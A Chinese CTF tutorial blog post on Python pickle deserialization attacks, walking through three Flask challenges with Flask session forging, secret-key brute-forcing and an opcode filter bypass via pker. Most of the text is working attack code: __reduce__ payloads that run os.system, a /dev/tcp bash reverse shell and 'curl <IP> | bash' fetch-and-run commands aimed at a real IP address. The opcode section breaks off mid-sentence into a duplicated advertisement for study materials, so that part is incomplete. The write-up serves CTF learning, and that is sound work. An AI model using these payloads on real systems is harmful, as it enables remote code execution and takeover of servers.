CTF题型 Python中pickle反序列化进阶利用&例题&opache绕过(1)

	- 3.[[HZNUCTF 2023 preliminary\]pickle]( )
  • 二.基于opcode绕过字节码过滤

一.基础的pickle反序列化

pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

漏洞有关的魔术方法
__reduce__

构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

常用payload(没有os模块)

import pickle
import base64
 
class A(object):
    def \_\_reduce\_\_(self):
        return (eval, ("\_\_import\_\_('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))



环境有os模块

import pickle
import os
import base64

class aaa():
    def \_\_reduce\_\_(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错


所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

非预期(任意文件读取)

image-20240325085226157

直接读环境变量/proc/1/environ

image-20240325085331374

预期解

app源码


#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET\_KEY"] = "\*\*\*\*\*\*\*"

User = type('User', (object,), {
    'uname': 'test',
    'is\_admin': 0,
    '\_\_repr\_\_': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index\_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file\_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin\_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '\_\_main\_\_':
    app.run('0.0.0.0', port=80, debug=False)


直接读环境变量/proc/1/environ

发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以直接伪造secret_key

image-20240325092958651

漏洞代码

@app.route('/admin', methods=('GET',))
def admin\_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

伪造session实现 读取 u 中的 b值

对b中的值进行反序列化,可以直接触发RCE

>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

在linux系统下运行

import os
import pickle
import base64
User = type('User', (object,), {
    'uname': 'test',
    'is\_admin': 0,
    '\_\_repr\_\_': lambda o: o.uname,
    '\_\_reduce\_\_': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

生成后伪造

image-20240325093400538

用hackerbar发cookie触发

image-20240325093456429

可以反弹shell

2.[0xgame 2023 Notebook]

当时环境是给了源码

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET\_KEY'] = os.urandom(2).hex()

class Note(object):
    def \_\_init\_\_(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note\_id>', methods=['GET'])
def view\_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add\_note', methods=['POST'])
def add\_note():
    note_name = request.form.get('note\_name')
    note_content = request.form.get('note\_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add\_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add\_success', note_id=note_id)


@app.route('/delete\_note', methods=['POST'])
def delete\_note():
    note_id = request.form.get('note\_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete\_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete\_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete\_success')


if __name__ == '\_\_main\_\_':
    app.run(host='0.0.0.0', port=8000, debug=False)

题目分析:

app.config['SECRET_KEY'] = os.urandom(2).hex()

secret_key是弱密钥可以爆破 进行伪造

@app.route('/<path:note\_id>', methods=['GET'])
def view\_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

session伪造的结构{‘notes’:{‘note_id’:‘payload’}}

/<path:note_id> 路由下

pickle.loads 触发反序列化

题目环境有os可以用os.system执行任意命令

具体操作

生成爆破密钥

import os
while True:
    secret_key=os.urandom(2).hex()
    with open("Desktop/secret\_key.txt","a") as f:
        f.write(secret_key+'\n')
    

解析session

C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0"
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
{'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}

爆破 secret_key

flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt"  --no-literal-eval

image-20240325113320643

拿到 f991

linux下运行 题目环境有os模块

import pickle
import os
import base64

class aaa():
    def \_\_reduce\_\_(self):
        return(os.system,('curl ip/1 |bash',))

a= aaa()

payload=pickle.dumps(a)
print(payload)

image-20240325113542122

利用 curl 反弹shell(适用于bash/zsh) 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'

要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}

flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"

image-20240325122756770

image-20240325122818244

可以弹回shell

image-20240325122844869

3.[HZNUCTF 2023 preliminary]pickle

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '\_\_main\_\_':
    app.run(host='0.0.0.0')

非预期

/readFile?filename=/proc/1/environ

flag在环境变量里

预期 关键代码

@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"

将os替换为空

用没有os的payload

import pickle
import base64
 
class A(object):
    def \_\_reduce\_\_(self):
        return (eval, ("\_\_import\_\_('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

直接反弹shell

image-20240325134423813

image-20240325134508301

二.基于opcode绕过字节码过滤

对于一些题会对传入的数据进行过滤

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

这个时候考虑用用到opcode
Python中的pickle更像一门编程语言,一种基于栈的虚拟机

什么是opcode

Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。

每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
opcode,以支持各种操作和语言特性。

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

如何编写

原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11

没有比这篇先知文章写的更好的

辅助生成工具pker:https://github.com/eddieivan01/pker

一般用于绕过 find_class 黑名单/白名单限制

pker用法

GLOBAL
对应opcode:b’c’
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL(‘os’, ‘system’)
输入:module,instance(callable、module都是instance)

INST
对应opcode:b’i’
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

img

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)

训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

[外链图片转存中…(img-tP6XP7YR-1712867442129)]

[外链图片转存中…(img-aXMxw3t5-1712867442130)]

[外链图片转存中…(img-1nAcy6Ke-1712867442130)]

[外链图片转存中…(img-eA2b8sYT-1712867442131)]

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注Python)

img
  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值